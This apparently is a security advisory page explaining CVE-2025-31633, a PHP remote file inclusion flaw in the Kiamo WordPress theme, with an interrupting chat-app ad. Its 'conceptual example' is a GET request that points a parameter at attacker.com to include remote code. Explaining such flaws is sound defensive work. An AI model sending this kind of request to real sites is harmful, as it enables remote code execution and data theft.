Overview
Today, we will dive into the detailed exploration of the cybersecurity vulnerability, CVE-2025-31633. This vulnerability is specific to PHP Remote File Inclusion in the gavias Kiamo – Responsive Business Service WordPress theme. The vulnerability affects WordPress websites using the Kiamo theme versions up to 1.3.3, and it poses a significant threat to the integrity and confidentiality of the systems involved. If exploited successfully, the vulnerability can potentially lead to system compromise or data leakage, making it a significant concern for businesses that rely on the security and integrity of their data.
Vulnerability Summary
CVE ID: CVE-2025-31633
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
Gavias Kiamo – Responsive Business Service WordPress Theme | up to and including 1.3.3
How the Exploit Works
The vulnerability CVE-2025-31633 is an improper control of filename for Include/Require statement in PHP Program, commonly known as ‘PHP Remote File Inclusion’ vulnerability. This vulnerability allows an attacker to manipulate the PHP include or require statement and point to a remote file hosted on an attacker-controlled server. This file could contain arbitrary PHP code that, when included in the server-side code, will be executed with the same privileges as the rest of the application. The potential impact is severe, as this could lead to complete system compromise or data leakage.
Conceptual Example Code
An attacker might use an HTTP request such as the one below to exploit this vulnerability:
GET /index.php?page=http://attacker.com/malicious_file.txt HTTP/1.1
Host: vulnerable-website.comIn the above example, the attacker is manipulating the `page` parameter to point to a malicious file hosted on their server (`attacker.com`). When the server processes this request, it includes the contents of the `malicious_file.txt` in the response, thereby executing the attacker’s code.
Mitigation and Prevention
The best way to address this vulnerability is by applying the vendor patch. If a patch is not available or cannot be immediately applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. These systems can be configured to block or alert on attempts to exploit this vulnerability by looking for known malicious patterns in HTTP requests. Additionally, developers should ensure that they are following secure coding practices, such as validating and sanitizing input and avoiding the use of user input directly in include or require statements.